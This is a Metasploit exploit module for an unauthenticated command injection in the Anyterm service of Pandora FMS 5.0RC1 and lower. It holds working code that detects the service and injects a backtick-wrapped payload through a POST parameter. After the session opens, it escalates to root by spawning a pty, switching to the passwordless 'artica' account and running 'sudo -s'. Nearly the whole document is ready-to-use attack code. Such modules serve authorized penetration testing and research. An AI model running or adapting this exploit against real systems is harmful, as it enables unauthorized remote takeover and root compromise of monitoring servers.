Pandora FMS Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Pandora FMS Remote Code Execution",
        'Description' => %q{
          This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower.
          It will leverage an unauthenticated command injection in the Anyterm service on
          port 8023/TCP. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1
          the user "artica" is not assigned a password by default, which makes it possible to su
          to this user from the "pandora" user. The "artica" user has access to sudo without a
          password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0
          and lower force a password for the "artica" user during installation.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          ['CVE', '2014-125124'],
        ],
        'Payload' => {
          'BadChars' => "",
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic perl python',
                        }
        },
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['Pandora 5.0RC1', {}]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2014-01-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8023),
        OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']),
      ]
    )
  end

  def on_new_session(client)
    print_status("Trying to escalate privileges to root")
    [
      # ignore SIGHUP so the server doesn't kill our root shell
      "trap '' HUP",
      # Spawn a pty for su/sudo
      "python -c 'import pty;pty.spawn(\"/bin/sh\")'",
      # Su to the passwordless "artica" account
      "su - artica",
      # The "artica" use has sudo rights without the need for a
      # password, thus gain root priveleges
      "sudo -s",
    ].each do |command|
      vprint_status(command)
      client.shell_write(command + "\n")
    end

    super
  end

  def check
    # Check version
    print_status("Trying to detect Pandora FMS Remote Gateway")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "anyterm.html")
    })

    if res && res.code == 200 && res.body.include?("Pandora FMS Remote Gateway")
      print_good("Pandora FMS Remote Gateway Detected!")
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    print_status("Sending payload")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "/anyterm-module"),
      'vars_post' => {
        'a' => "open",
        'p' => "`#{payload.encoded}`"
      }
    })

    if !res || res.code != 200
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
    end
  end
end